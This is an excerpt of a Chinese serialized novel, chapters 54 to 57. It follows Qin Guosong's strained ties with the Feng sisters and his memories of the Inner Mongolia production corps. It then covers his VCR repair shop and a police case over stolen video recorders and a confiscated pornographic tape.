小雅看着秦国颂每天为黄国英操心费力。她感激他,她心疼他,最主要的是她从心里头爱他……不单单是他是她的贵人那一句话那样的简单,一个人爱一个人初看起来看似简单,好像有些歌曲歌词唱的那样,其实这一切的一切都是命中注定……记得秦国颂好像说过一句这样的话:爱情只需要用于歌颂的,不能用来经营。谁经营谁心痛。不信走着瞧…… 他总是显着与众不同,这是个中性的表述。其实说穿了就是这个人忒拧巴。 第54章 决裂 二凤打来了国际长途电话。当时打国际长途一般说来每分钟要30多元,而二凤这一通电话竟然打了有30多分钟,这对当时一般的家庭来说,想都不敢想的事情。 接电话的是大凤。二凤非常气愤的指责大凤,黄国英出这样的大事为什么不告诉她?竟然把她当成了局外人……还有就是秦国颂,她让大凤转告秦国颂,她这一辈子都不会再见到他。第一,秦国颂扰乱了她们家的安宁,为了能去凤凰雅致实业有限公司就职,为了讨好那个董事长王文甫,竟然出卖了她们整个的家庭……第二,黄国英的出事与秦国颂有直接的关系,她二凤一辈子都不会原谅他!第三,还有那个王清文…… 她对大凤指责了秦国颂是个极不正常的人。让她转告秦国颂尽快的离开她们家,并且走得越远越好。 大凤放下电话后,心事重重的回到了自己的屋内。看到秦国颂正在给黄国英清理大小便。她便让秦国颂停住了手,由她亲自清理。 二凤对她讲的那些话,她一句也没有对秦国颂讲。她认为二凤说的有些言过其辞了,她认为一定是二凤受了什么样的人挑拨,那么挑拨二凤的这个人究竟是谁呢?大凤又想了想,觉得这个人不是别人,只能是安康。因为只有安康才知道二凤的电话。当然安康的可能性最大,但大凤此时却忽略了一个人,一个为了爱情可以做出丧失理智的人。 这个人就是小雅。 第一个向二凤透露这消息的人是安康。第二个向二凤详细说明情况的人是小雅。因为凤凰雅致实业有限公司与大凤家电话的账单上同时多了一项陌生的国际长途电话业务。长途电话涉及的业务都是同一个号码,同一个国家。 安康对二凤透露消息的是他知道的一些消息,并且经过添油加醋像第一次对二凤挑拨秦国颂与黄国英的关系时是一样的,从二人的性取向方面向二凤暗示这两人的不正常,他当年这样做的目的是为了追求二凤。然而时过20多年后的今天,他为什么还会这样做呢?因为他看出了秦国颂在大凤家的地位,看到了董事长王文甫对秦国颂是那么的重视,更看明白了小雅也在苦苦的爱着秦国颂……这一切都让他心里感觉到不平衡,为什么这么多好事都同时落在秦国颂一个人身上?于是羡慕嫉妒恨加在一起混成了人性最卑劣的表现手段,这种行为就叫做挑拨离间。这就是小人,我们所说的小人常用的惯用的计量。他要挑拨秦国颂与大凤二凤家的关系。不然的话看现在目前事态的发展落在秦国颂身上的好处以后还会多着呢,会多的数不清的。他不甘心看到这些。 小雅的目的明显的就单纯的多。说穿了就是一个爱字,小雅与二凤说她们家里的这些事很大程度上都是一个碰巧了。是二凤接到了安康的电话以后,为了证实真伪,主动给家里小雅打了电话,话题自然展开,小雅便主动地向二凤暗示了她对秦国颂的爱慕。一直称秦国颂是她的贵人,她要感谢他一辈子。小雅的目的非常明确,知道她二姨还没有结婚,是没有找到合适的呢?还是在等着秦国颂,她不得而知。于是她就想让她这个占着茅坑不拉屎的二姨挪挪地方,让位给她。这就是小雅给二凤传达的基本意思。毕竟对方是她二姨,她不好彻底挑明。只是用一些隐喻的话语,把意思表明出来就行了。二凤是个何等聪明的人,世上有些事情她不用看便会自然明了。难怪有些人都怀疑她是孙悟空孙猴子转世。而有的人恰恰就是因为这点聪明而耽误了自己的终身…… 二凤在电话里发泻了一通之后。细而转念一想,这里面的事情她是不是想的简单了些?安康的话她确实不能全听,但也不能不听。尽管有的事听起来有些捕风捉影,但安康是一个做事何等精密与慎行的人,一定是一个他先看到了什么,然后才能有些夸大其词的演绎给她讲。她想起了第一次与秦国颂闹得不愉快也是因为安康。是安康故意的制作了一个悬念引起了敏感的秦国颂的猜忌。那还是在无线电厂,安康送给了二凤一个军用挎包。秦国颂就拿这个挎包做文章,一直把这个文章做到了内蒙古生产建设兵团的一次劳动。继而由这个挎包引申出又一次比跨包本身严重的误解。导致了他们非常严重的矛盾产生。 二凤爱秦国颂吗?一直深深的爱着。她至今独身没有结婚,我们无法猜测她究竟是不是因为与秦国颂的爱情。但一定与爱情有关。 二凤想起了他们刚到内蒙古生产建设兵团的日子。 他们两个人到了驻地后先被分配到了一师四团。两个人在同一个连队。到了连队后,经过简单的修整培训。艰苦的劳动便开始了。 秦国颂可不怕劳动的艰苦。但是他最怕的就是无意义的劳动。一种劳动如果让他看到了其中的没有任何意义,尽管没有看到劳动的结果,没有做到最后,他也不会也不再愿意继续从事这种劳动了。这就是秦国颂与生俱来的性格,他做任何事情都讲究一个意义。而且他最不能接受的就是别人对他的派遣与强制性,他的自由不羁的性情与二凤形成了极大的反差。他不想做事后诸葛亮,他喜欢做未雨绸缪。 二凤与秦国颂他们所在的团地处乌兰市和大沙漠的北端的太阳庙林场。南边是固定的沙丘和半沙丘,北面是数万亩盐碱地。兵团战士们的劳动就是靠柳筐脸盆搬走沙子种下小麦,尤其是二凤,她竟然拿了秦国颂送给她珍贵的军用挎包去搬运沙子,这个军用挎包是秦国颂为了取代安康送给二凤的那个,他动用了他的父亲秦义辉的部下通过关系在军部找来的,他就是为了二凤,才舍下了这张脸皮……他认为他费了挺大的劲给的二凤无比珍贵的礼物竟然让二凤拿它来作为运沙子的工具,这使他在内心深处感觉到了某种羞辱的味道,二凤对他的礼物如此的不尊重,他感到了极大的失落。他看到二凤为了提高生产效率双手端着脸盆,肩上背着挎包在搬运沙子,他们在沙土地上挖坑,取来泥土放入坑内,撒下麦种,并为每一颗麦苗撑下一个小泥伞。但风沙很快就埋没了小泥伞和麦苗。二凤带领着战士们一边哭一边挖。每天都反复的这样做,直到麦苗长大。秦国颂对这种朴素的劳动热情带有非科学的观点表示了极大的抵制。他不单单是为了那挎包,他认为这是毫无意义的劳动,他对二凤说。这样的劳动你们是连种子都不可能收回来的。二凤可不这样看,她认为这是人的一种精神。是人战天斗地的一种英雄壮举。然而第二年真的是应验了秦国颂所说的那句话。真的连种子都没有收回来。秦国颂送给二凤的那个挎包被磨了好几个洞,他从心里非常的心疼这个挎包,尽管脸上却没有露出任何表情,只是淡淡的说了一句。“这挎包没有安康送的那个好,等回去后把那个换回来”这样酸溜溜的一句话…… 还有一件事更给了秦国颂很大的触动。 那一次是因为二凤在建设兵团表现极为突出。还有就是他们来兵团的列车上二凤在车厢里的那一番表现,得到了那位带兵的军官干部的赏识,他把二凤调到了二师13团,在团部担任宣传干事。二凤向领导们推荐了秦国颂。秦国颂也被调了过来,成为了该团部下属的一个无线电厂的技术骨干。别看这次调动给了秦国颂发挥自己特长的机会,但秦国颂心里仍然存在芥蒂,竟然使他对调动二凤的那位干部耿耿于怀,因为二凤又有了一个新的军用挎包,这个挎包就是这位部队干部给的…… 二凤调来搞宣传。并非只是一味的写稿子写文章。身为党员的她要起到模范带头作用。主动下连队要求和兵团战士们劳动在一起。她被分配到了这个团的一个连队。她主动要求来到这个连队最脏最累最苦的一个班,这个班叫化肥班。这个班是一个女生班。她们主要的任务就是为连队多积肥,积好肥。 二凤带领的女战士们经常赶车到离驻地十几里的市区走大街穿小巷挖掘肥源。找厕所掏大粪。除了脏臭外,还不时得招来一些人的叽笑,她们都满不在乎。一心想着怎样的多积肥,除此之外,其他的早已就置身度外了。为了多积肥完成积肥指标,二凤悄悄与秦国颂商量。晚上他们两个人偷偷的加班去城里掏厕所。秦国颂有些无奈的答应了,其实秦国颂的想法就是为了能有机会和二凤在一起,再脏再苦他都不在乎,然而发生了意外。 那时候厕所的粪便都是有农村大队区片管理的。不可以随随便便的来掏的。不是这个片区的人来,居民们管那叫偷粪。 二凤与秦国颂的不幸就是被居民们当做偷粪的抓住了。抓住他们的居民们二话不说,扣留了他们的掏粪工具。还有的居民们不容他们分辨,舀出他们淘的粪便,往秦国颂身上抹。边抹边讥讽的说道。“你不是喜欢这个吗?那就都弄到你身上吧!”…… 秦国颂强忍着屈辱,一声不吭的站在那里,任由人们羞辱。 还好,很快有的居民便认出了他们。知道他们是建设兵团的。才一边道歉,一边给予了放行。 这件事对二凤和秦国颂刺激都非常的大。二凤从心底里深深的对秦国颂表示了歉疚。她觉得秦国颂能如此心甘情愿的受这种侮辱,这一切都是为了她。 二凤那一年带领着姑娘们的积肥班。出色的完成了积肥指标。师里给予她们班荣立三等功。 二凤被调到了师部宣传处。 秦国颂当时对二凤极不理解。他认为二凤为了向上攀爬,真的有些不择手段。 二凤不知道秦国颂真实的想法是什么?她只知道她爱他。然而秦国颂与二凤的距离越来越疏远了…… 二凤想到这里,又觉得只听了安康的一面之词,对秦国颂产生了误解,她觉得自己真的有时是一时聪明一时糊涂,但是小雅说的那些话呢?难道只是小雅的单相思吗?只是小雅的剃头挑子一头热吗?还有就是秦国颂没有坚守住他们两个人的诺言,把小雅的身世倾盘而出这一点来看,二凤能原谅他的可能性就不是很大。 此时的小雅偷偷的有了一个决定,她想像当年她二姨那样对秦国颂采取攻势,不过此时的年轻人可不像彼时的年轻人那样。现在的年轻人可不是那样缩手缩脚的,她们会大胆的冲破世俗的藩篱,我行我素,管他舆论与偏见是哪一个秃儿老黑…… 第55章 录像带风波 大凤与王清文的接触越来越多了。王清文几乎每天上午都要来大凤和黄国英他们屋里看一下,不管秦国颂在不在这屋,王清文都会以一个医生的口吻询问黄国英的状况。有的时候能碰到小雅在场,王清文会把目光移到她的身上,但很快就会转移到黄国英这边来。继续询问大凤黄国英的一些用药,饮食,排便等一些情况。听完之后,他会简单的嘱咐大凤如何照料与护理一些基本常识。稍作停留后,他便会起身告辞。 大凤知道王清文的真实用意。但她不会对他挑明,她怕他真的哪一天把小雅带走。王清文到他这边来,更是只字不提小雅的事情。其目的看似非常的单纯,就是为了黄国英,以他曾经作为一个外科主任的身份来看望病人。 大凤渐渐的对王清文产生了好感。 …… 王文甫邀请秦国颂去过几次凤凰雅致实业有限公司,只是以长者关怀他的身份与他谈了一些生活上的事情。因为王文甫看出秦国松的精神状态不是很好,工作与业务方面的话题基本上没有触及。公司这边的业务基本上按部就班的在进展,招聘工作已经结束。接下来就是与市里洽谈关于开发项目具体实施的相关事宜。 小雅经常到公司这边来。她来的目的就是见见她的姥姥,与她姥姥聊聊天,带着她姥姥出去转转,哄她姥姥高兴。 由于公司台湾那边的事情,王文甫要回台湾去办理,他决定带着曹静稚与他一起回一趟台湾。本来想连小雅一同带了去,但是考虑到黄国英这边的情况,又考虑到大凤的心情,所以只好作罢。 王文甫走的时候送给了小雅一台录像机,还有一台摄像机。这两件电子产品在当时可是稀罕物件儿,小雅高兴的差点蹦起来。 小雅拎着这两件宝贝物件回了家。一进家门看到秦国颂一个人在屋里发呆。她欢快的让秦国颂打开录像机与摄像机,研究一下怎么使用。 秦国颂先打开了摄像机。拿出说明书仔细阅读着。看了一会儿,他淡淡的对小雅说。 “这机器我从来没有玩过,装上一盘带子咱们试试。” 小雅拿给他一盘空白录像带。秦国颂把录像带装到录像机里,按下了摄像按钮。 秦国颂对准小雅进行拍摄,拍了几个镜头,把磁带倒回来看看拍的效果。摄像机里的监视器太小,于是他们又打开录像机,秦国颂把它与电视机接上,播放他们刚拍摄的几个镜头的录像带。 小雅兴奋的叫起来。“呀,我上电视拉!” 她拿着摄像机跑去了大凤与黄国英的屋内,对着他们拍摄起来。 一边拍摄一边兴奋的说。“给爸爸妈妈留一些影像资料,拍完了一会儿从电视里放给你们看。太清晰了,比看电视节目清楚多啦!” 大凤看着小雅高兴的尽头,对小雅说。“把秦国颂叫过来。咱们一起拍一些合影,留一些影像资料。” 小雅把秦国颂喊了过来。他们兴致勃勃的欣赏新科技给他们带来的欢乐。 小雅提议下午带着她妈妈让秦国颂给他们拍一些户外的镜头。他们决定下午去一趟古莲花池。 他们正在屋内快乐的玩着他们的宝贝。听到屋门外有人大声的咳嗽了一声。他们向门口望去,真巧,安康来了。 安康听说了王文甫送给小雅的摄像机与录像机,特意跑来一睹为快。 他接过摄像机对着他们拍了起来,嘴里还念念有词,推,拉,摇,移……听起来还挺专业的。 拍了几个镜头,他把玩着摄像机。对秦国颂说。“现在的高科技厉害吧?退回去两年,这玩意儿咱们连想都不敢想。现在家里拥有了!” 秦国颂点了点头。“国外的科技真的是超咱们太多了。民用产品都超咱们这么多。你想想他们的军工产品和航天技术要超咱们多少哇?咱们应当大力发展电子科技技术,努力的要赶上他们……你说咱们这一代还有希望吗?” 安康不置可否的摇了摇头。 秦国颂对安康说。“无论怎么讲,我还是比较关注遥控遥感这一块,还有就是电子激光,这些是我最感兴趣的。” 安康有些惋惜的说道。“可惜啊,我们的知识太贫乏了。只能先跟着别人后面学习,能跟得上这个时代就不错了。” 他边说边举了举手中的摄像机。“去拍一些外景吧。光在屋里拍没什么意思。” 大凤说,“我们正商量的一会儿中午吃完饭,下午去古莲花池拍一些外景的。你要是没什么事情,下午跟我们一起去吧。” 安康说。“是啊,我太高兴了。跟你们一起去……不过咱们要是都走了……”他看了一眼躺在床上的黄国英。“他谁来照顾?” “嗯……竟然把他忘了……” 安康笑了笑说道,“我有一段时间没过来看我的老同学了。你们几个人去吧,我留下照看他……再说,摄像机是咱们自己的,有的是时间去拍摄。有机会我再去呗。” 大凤笑着对安康说道。“那可真辛苦你了。” 安康连忙摆了摆手。“你这话说的就见外了。我是谁?他是谁?你们是谁呀?咱们本来就是一家人吗?” 说完他哈哈笑了。 吃完中午饭后。秦国颂大凤小雅出了家门准备去古莲花池拍一些外景。要不说无巧不成书呢,他们刚走到大院门口,恰恰碰到了回大院的王清文。王清文与秦国颂大凤打了招呼。看见小雅手里拿的摄像机。忙问,“你们这是要去哪里啊?” 大凤说。“王文甫新给了小雅一部摄像机,小雅高兴的要我们一起去古莲花池拍一些外景,你有时间一起去吗?” 王清文先是先推辞了一下。“嗯,这摄像机可是新鲜玩意儿。我去合适吗?” 秦国颂笑笑说道。“有什么不合适的?你要没事儿就跟着我们一起去玩儿吧。有你去我们一起还能拍个合影。”他看了看大凤与小雅。似乎在征求小雅的同意。 小雅点了点头,微微一笑。“你去吧,人多了显得热闹。再说了,有你可以给我们三个人拍合照啊。” 于是一行四人说笑着向古莲花池走去。 秦国颂边走边想着在家里的安康。小雅刚把录像机和摄像机拿回来,就被安康惦记上了。 安康一个人在家里照看着黄国英。百无聊赖的他看着黄国英一动不动的躺在床上昏睡。他便走出屋子,来到张子东的屋内。与老爷子聊了会儿天儿。便拿起老爷子屋内的电话,打起了电话。安康就像个电话腻子,打起电话来一个接着一个的没完没了,说东道西竟是闲篇儿,他真的不把自个儿当外人。 大约过了有一个多时辰,秦国颂大凤他们回来了。他们进屋后把摄像机接到电视机上,回看他们在古莲花池拍的那些录像。小雅惊讶的赞叹道。 “摄像机就可以直接接到电视机上看录像。那要录像机还干嘛呀?” 秦国颂回答。“也看录像呗。” 他又接着解释着说。“这东西我是头一次接触,我感觉摄像机的功能主要还是摄像,不能长时间用它当做录像机来使用。因为我看了说明书,录像机里面的磁鼓等于它的心脏,过多的使用会影响以后的清晰度,应当还是节省的使用为好。” 安康听过后竖起了大拇指,夸赞道。“你真不愧为是无线电方面的天才!这么快你就领悟了射录像机的关键要领。你应当仔细的认真的研究一下这些东西。说不准这些很快就要普及起来了。你提前掌握了它们,可以在这方面搞维修工作。那绝对是炙手可热的偏门行当啊。” 秦国颂认真的点了点头。“确实可以解决生计问题。为了生活,我可以先从电视机录音机这些家用电器下手,开一个维修店。” 秦国颂开始想人间烟火的事了。这对于他是好事还是坏事呢?对于生存肯定是好事。然而对于一个天才来讲已经被埋没了,埋没一个天才并不是从今天开始,一个是生不逢时,还有一点就是生不逢运。一个人的性格往往是在最关键的时候彰显出他与命运碰撞时的火花,火花小了,它便自然熄灭,火花大了,它会引火烧身。他逐渐的被一次又一次的磨掉棱角,尤其是他最近这一次从看守所出来……在这以前他想的都是大事,从未被生活的琐事所困扰。说具体一点,他以前根本就不知道什么是生活琐事,甚至可以说他不知道什么是生活。尤其是他认识了北京那些子弟,与他们接触,受他们的感染。每天想的都是国家大事,读的哲学书,玩儿的是高科技,从单纯的自然科学几欲转型为社会科学。然而这一次被抓起来,最后定性的却是扰乱社会治安。最最让他不能理解的是出来以后,遇到了小雅,然后又遇到了小雅的姥爷王文甫。他回来还不算,还带来了所谓的荣耀,如救星般的在他所处的地方搞开发建设。并且还给他秦国颂带来了他久违的科技,并让井底之蛙的他见识到了录像机摄像机。他无论如何都想不明白,他帮助王文甫,是因为曹静稚,因为曹静稚他得罪了大凤,继而无意之中拯救了小雅。在拯救小雅的过程中又得罪了二凤。他在细细的思考,这种活法究竟值不值得?黄国英成了植物人,他呢却为生存法则想到了要靠技能去谋生。他真的不知道人生的意义究竟在哪里?或许人生就应当这样苟且的活着,根本无意义。 他呆呆的坐在那里思考了许久。最后狠下心来,对安康说了一句。 “我要开一个电器维修店……” 第56章 录像带风波(续) 秦国颂真的开了一家家电维修部。 门面是小雅给他租下来的,距离小雅开的服装店比较近。另外小雅还给他投资了2000元,让他做开门面的启动资金。 秦国颂要给小雅打一个借条,小雅笑着说。我入股,算我的股金。秦国颂点了点头答应了,心里却想挣了钱,一定要还她。 他去了省城电子元件批发市场买了些电子元件。第一次开维修部,他也不太清楚哪些元件是常用的,哪些元件轻易用不着,于是他就平均分配,每一样都进一点。小雅投资的2000元没花完。小店就可以开张了。 20世纪90年代初是一个刺激消费的鼎盛时代。尤其是家用电器,成为炙手的热门货。录音机,电视机,冰箱,洗衣机,人们争相购买。尤其是电视机,名牌电视机和进口电视机,那是要托关系走后门才能买得到的。还有一点真的让安康说对了,那就是录像机的普及。在这种大环境下,秦国颂的家用电器维修店想不火都难。 秦国颂一个无线电方面的天才,无师自通很快就掌握了电视机录像机的维修秘诀。再加上他心灵手巧,做事认真而缜密,讲究的就是一个精益求精,他修过的电器承诺保修一个月,在一个月之内同等故障的电器免费维修。这在当时的少之又少的家电维修行业很快就赢得了顾客信任的口碑。而且他还在他的店内墙上挂起了这样的标语。“顾客乃衣食父母”。这在当时商品供不应求的年代绝对是奇葩中的奇葩。因为当时购买紧俏商品是要看服务员的脸色的。上门去维修商品的顾客更是求爷爷告奶奶似的央求维修师傅尽快给他们修好。 他的维修部想不火都难,甚至被人们当成了另类。人们都说他不按规矩出牌。本来这些人都是上赶着来求他的,他却把他们当成了上帝。因为秦国颂心里这样想的,人家是来这里花钱的,为什么不是上帝? 秦国颂从来不听别人怎么说。他按自己的意志行事。他在寻求维修过程中的乐趣,每当它修好一件家用电器,放到桌上检测运行的时候。他便会燃起一支烟,美美地吸上一口,享受着攻克难关后的快感。他认为劳动的过程就是一个享受的过程。知识就是力量在他这里并不是简单的一句口号,而是体味出了知识里面的内涵,挣钱并快乐着! 有人说秦国颂很有文化。他真的有文化吗?他自己认为不算是一个很有文化的人,不大喜欢诗词歌赋,更不会有让你在静下心来能够打动你心灵深处的那一点妙句,他不太善于引经据典,有的时候一说话还会脸红。他只能用自己的心来证明文化其实并不重要,重要的是用真诚去待人,他觉得这世界应当充满爱……这才是文化的命脉所在。他喜欢那首“让世界充满爱”的歌曲。 他实在是太忙了,经常忙到深夜。索性他就在店里支了一张床住在这里。 小雅的服装店打了烊以后经常会跑到这里来陪着他,与他分享劳动后的喜悦。 然而有一天发生了这样两件事。 第一件事是离他维修店不远的一家家电经营商店被盗。被盗的是商店里的两台待返修的录像机,这两台录像机是作为样机被摆在橱窗里的,因为新到的录像机很快就会被抢购一空,店里没有多余的。贼不走空,进到店里的窃贼顺手就把这两台录像机带走了。不但拿走了录像机,还把在店里值夜班地发现了他们行窃的大爷残忍地杀害。于是一件事变成了两件事。盗窃与杀人。 警方立即立案侦查。寻找破案的线索。 两名警察来到了秦国颂的家电维修部。告知他某某商店的店铺被盗了,丢失了两台什么样牌号的录像机,如果有人来维修这种牌号的录像机。希望他能尽快地向警察反映。帮助破案。 丢失的两台录像机是松下370。这种牌号的录像机市面上非常的多。秦国颂有些疑惑地问警察。是这种牌子的都要与你们反映吗?警察肯定地点了点头。 警察临走时给他留了电话。秦国颂没有电话,他只有一个当时最时髦的BB机,小雅送给他的,竟然还是汉显的。 第二件事就是这一天真的有两个人分别送来了两台这种牌号的录像机来维修。第一个来的是一个学生模样的人。对秦国颂说故障是录像机卡带了,录像带取不出来。第二个来的人是一个中年男人,他的录像机的毛病和第一个来的人基本一样。同样也是卡带了,录像带取不出来。并且分别来的这两个人都特别急切地等着机子修好,用手指着录像机里卡的磁带,暗示秦国颂这个很重要。他们需要当下给他们取出来,哪怕多花钱也好。 秦国颂看了看这两个急切要修好录像机的人。想起了警察给他说的话。他本来想先稳住这两个人去到旁边店里打一个电话。然而转念一想,警察提供给他的信息是商店里丢的那两台录像机与这毛病不是一样的。商店里丢的那录像机是不能开机,有可能是录像机里电源部分的故障。而送到他店里来维修的这两台录像机是同一个毛病,卡带。于是秦国颂暂时先放弃了给警察打电话的想法。他想全面的检查一下这两台录像机,先查看一下这两台录像机有没有被人修过?这才是关键。 这两个来修送修录像机的人是一前一后到的。他们都为自己的录像机所犯下的同一个故障而尴尬,他们应该是为自己录像机里的录像带的内容而尴尬。秦国颂没有时间去考虑他们尴尬的内容,只是想尽快的排查录像机的故障。以确定是不是商店里丢的那两台录像机? 经过一番检查以后。发现录像机没有被维修过的痕迹。故障很明了,就是卡带,录像机里带仓轮错位了。 调整录像机仓门齿轮错位是一个很精细的操作。因为控制录像带出仓的好几个齿轮都是半齿结构,位移非常的精准,重新调整对位是一个很细致的活儿,差一个齿都不行。要反复操作,比较费时。但是这两个来维修的人都非常的着急。两个人共同的要求也挺简单,先把里面的录像带取出来,录像机明天来取也可以。秦国颂对它们讲,如果没有把录像机的齿轮这一部分调整好。用手动强硬地取出磁带会把磁带损坏。他征求他俩的意见,告诉他们放心,他会为客户保守个人隐私秘密的。并向他们两位承诺,今天晚上不睡觉也要把这两台录像机修好,让他们明天早晨来取。 就在这时,小雅关了她的服装店的门,过来找秦国颂。对他说这么晚了都还没有吃饭呢,早就饿了。秦国颂也是饿的肚子咕咕叫。看来看表晚上9点多了。于是安慰那两个修录像机的人告诉他们明天早晨来取。他们饿了要去吃饭了。今天晚上不睡觉也要给他们修好。 两个人无奈的摆了摆手。小雅催促秦国颂赶快去吃饭。态度有些严肃地对他讲。“不要光想着挣钱,连命都不要了。” 于是秦国颂送走了两位来修录像机的人。锁了门,跟着小雅去饭馆吃饭。 小雅今天很高兴。服装店生意非常的好。她告诉秦国颂今天卖了2000多块钱。秦国颂不知道今天挣了多少钱?只是对小雅说。不少。 两个人要了几盘菜。小雅提议喝一瓶白酒。秦国颂微笑的点头答应。小雅开心的问他。“你现在成万元户了吧?” 秦国颂谦卑的点了点头。“差不多吧。” 两个人的杯子里倒满了酒。共同举杯祝贺。“为万元户干杯!” 小雅喝下酒后对秦国颂说。“移动手机大哥大就要上市了。你不想着要买一个?” 记住本站: 秦国颂看着小雅。“我听说那移动电话非常的贵。光占号费就要2万。裸机又要1万多。还有双向付费,接打电话都是每分钟4角,我现在还没那么多钱。” 小雅又拿起酒杯。“我出钱给你买。干杯!” 秦国颂拿起酒杯喝了一口。摇了摇头。“不要。” 他觉得花这么多钱买一个手提电话不值得。再说他的业务也不需要这些。他现在哪有时间打电话呀? 他们两个人吃完饭回到维修部。已经是晚上11点多了。小雅说她今天晚上不回去了。要看着他把那两台录像机修好。 秦国颂说。“也行吧。要是困了,就在我那个床上睡。” 秦国颂开始坐在工作台前,修那两台录像机。 他把那齿轮拆下来。调整好位置。用手动把录像带退了出来。然后又反复试了几次。录像带进出自由。好了! 然后再去修另外一台,用同样的方式很快就修好了。 他高兴的点着了一支烟。兴奋地说。“真没想到,今天晚上这么顺。我这是沾了小雅的大光了。你这是用了什么魔力让我这么快就把它们修好了!” 小雅醉眼迷瞪的从床上做起。走到秦国颂背后,双手抱住了他。 秦国颂赶紧地把小雅的双手睁开。对她说。“快别这样。这屋里开着灯,窗帘都没拉。” 小雅站起来去关窗帘。秦国颂顺势把退出来的磁带又装回了录像机。他想看看这磁带有什么秘密。 连接上电视。电视的画面上显示出录像带里的内容。 秦国颂看了看。“哦,这有什么呀?这不都是录的去年夏天中央电视台新闻里播的专题新闻嘛。哦,也是啊。这些现在……”心里想这事情跟他去年进看守所还有关联呢。 他边说边把这盘录像带退了出来。又把另一盘录像带塞进录像机里。电视机银屏再出现的画面,让他吓了一跳,黄色电影。他第一次看到这些画面,紧张的他心都快要跳到嗓子眼了。小雅赶紧跑过来从身后抱住他盯着电视银屏画面看。秦国颂明显的感觉到后背小雅快速的心跳声音。我的天呐!原来人们所说的黄色电影就是这个。紧张的他用手分开小雅抱着他的双臂。要去关掉录像机,他感觉到有些恶心。小雅拦住他的手,撒娇的说道。 “再看看嘛……” 就在这时,他维修店的门响了,有人敲门。 他赶紧关了电视机,走过去开门。 进来了几个联防队员。他们是巡夜的检查治安。 这几个人进来以后看了看秦国颂,又看了看小雅。见他们神色如此慌张。其中一个人顺势打开了电视机。录像机里的那不堪入目的画面立刻又从电视银屏显现出来。啊!联防队员兴奋了,你们在看黄色录像! 其中一个领头的指着小雅说。“你们俩什么关系!” 小雅有些不屑一顾地昂着头回答。“情人,恋人,怎么了?” 他又看了看秦国颂。秦国颂点了点头。 “甭管你们什么关系。偷看黄色录像。已经够上条款了!先没收他们的违法工具,带他们两个人去派出所!” 几个人上不由分说搬电视搬录像机。把桌上的录像带全部收走。还搜查了其他的几个地方。凡是可疑的东西全部带走。 秦国颂想要分辨。上来两个人左右架住了他的胳膊。对他说。 “把商店的门锁上。带着东西跟我们走。有什么话到所里去说!” 于是他们带着所谓的作案工具。压着秦国颂与小雅一同来到了派出所。 他们把秦国颂与小雅分开,单独询问。 记住本站: 就在这时来了一个民警,秦国颂认识。就是几天前去他维修店的两个民警其中的一个。民警看到他有些惊讶地问道。 “你怎么会在这儿?怎么了?” 其中一个联防队员过来说。“看黄色录像。作案工具我们都带来了。” “哦。”民警赶紧过去看那录像机。惊讶地说。“这不就是失窃的那个牌子的录像机吗?我不是跟你说过吗?你为什么不来报案?” 秦国颂说。“相同牌子的录像机特别的多。我记得你提示过我丢失的录像机的毛病故障是什么,这台录像机和你说的那不一样。我也是刚刚修好,正在试机子的时候,你们的人就进来了……” “你的黄色录像带是怎么来的?” 秦国颂支支吾吾。“就在录像机里面的。修好了,我说试试机器,一放录像带就这个画面。然后你们的人就来了。” “好!”派出所民警兴奋地一拍桌子。“又牵出个偷看黄色录像的案子。顺藤摸瓜,一查到底!” 民警对秦国颂详细地了解了事情的经过。对他和小雅一个人处罚了1000元钱,先放他俩回去。录像机与录像带暂扣在所里。等明天那两个人去他的维修部取录像机时再把那两个人一并带到所里询问。 第二天,那两个修录像机的人并没有来,第三天…… 记住本站: 第57章 录像带风波(续) 三天过去了。这两个修理录像机的人依旧没有露面。秦国颂感觉到这里面的蹊跷,警察觉查到了这里面的疑点,。那就是这两台录像机里一定是有问题,不单单是两盘磁带那样的简单。录像机在当时是很贵重的电子商品,每台售价三四千,不是一般的工薪阶层能消费得起的。 警察再次展开调查。查证这两台录像机是不是商店丢失的那两台。经过该电器商店经理的辨认,确实是他们丢的那两台,不过经理进一步说明了这两台录像机的真正事情出处。 原来这两台录像机是该商店售出的返修机。购买录像机的人发现机器有问题拿回该商店返修。由于该商店维修技术人员的水平问题,录像机一直没有修好。商店经理答应录像机先放到他们这里,等到了新货给他们调换。这两人等了十几天,仍然没有等到新的机器。决定把录像机取走去别的地方修,修理费由该商店承担。正巧这两人来取录像机时该店的工作人员刚刚下班,只有一个看门大爷在。他们拿着录像机的维修票据给大爷解释,要把录像机取走,遭到大爷的阻止。大爷说不行,他只是个值夜班的,做不了这个主。两个人便和大爷发生了争执,动手抢起了录像机。大爷挺身护住,在争执过程中,大爷被其中一人推在了柜台角上,头被撞破,流出了血倒在了地上。这两人一看情形事儿惹大了,急忙抱起录像机跑了。 大爷躺在商店的大厅里,就再也没有起来。 其实大爷真正的死因是心脏病发作。死于心肌梗死。 列位不禁要问。两个来修录像机的人也真是急脾气,至于吗?多等几天不行吗?不行。好不容易找到一盘从没有看过的带子,期限又紧,人家催着要。在这种情形下多一会儿都等不了。过来人都知道,不信你去问你的长辈。这就是为什么那时的人冒着被拘留被罚款的风险也要偷偷的看上几眼黄色录像。越是被禁锢的东西越是能激起人们偷窥的欲望。 秦国颂和小雅不就是因为偷偷的看了几眼,就每个人被罚了1000元吗?这在当时可是个巨大的数字。这个处罚还算是比较轻的,严重的要被拘留,被劳教的。 这两个来修录像机的人为什么不露面了呢?他们究竟觉察到了什么?或者是他们究竟发现了什么。还是那两盘录像带里的内容引起了他们的心虚? 心虚是一定存在的。不然的话就引不出下面的故事。 这两个人是邻居。一先一后的去那家电器商店买的录像机。买回来以后时间不长,先后都出现了故障。于是他们又拿回该商店进行返修。其实该商店根本就不具备维修录像机的能力,答应客户修不好的话给他们调换新的。新机器货源暂时紧张,所以这两个人一等就等了半个多月。眼看维修无望调换新的又没有确定的日期,两个人就决定先把录像机取出来找专业的维修商店去维修,维修费用由出售单位承担。 他们两个人用了非正常的手段取回了录像机。看到值班老头倒地了,吓得他俩赶紧溜之大吉。他俩根本就没有想到值班的老头会死,只是害怕被赖着了,要赔医药费。他俩还觉得自己干认倒霉,拿出想看的录像带,碰一下运气。万一录像机好了呢,就不用自己再花钱去修了。 他们给录像机接上电源,迫不及待的就想再试一下运气,试一下录像机到底能不能看。没想到两个人都遇到了同一故障,把录像带放进去就都取不出来了。恰好他们放的录像带的内容都是不可以公开传播的。他俩没有马上的去修录像机,而是焦急的等待了两天,只是由于借录像带的人催得紧,要他们赶紧还。他们才来到了秦国颂的维修商店。 与秦国颂交涉了一番之后。得到答复今天晚上一定给他们修好,让他们早上来取。于是秦国颂和小雅一起去吃晚饭。 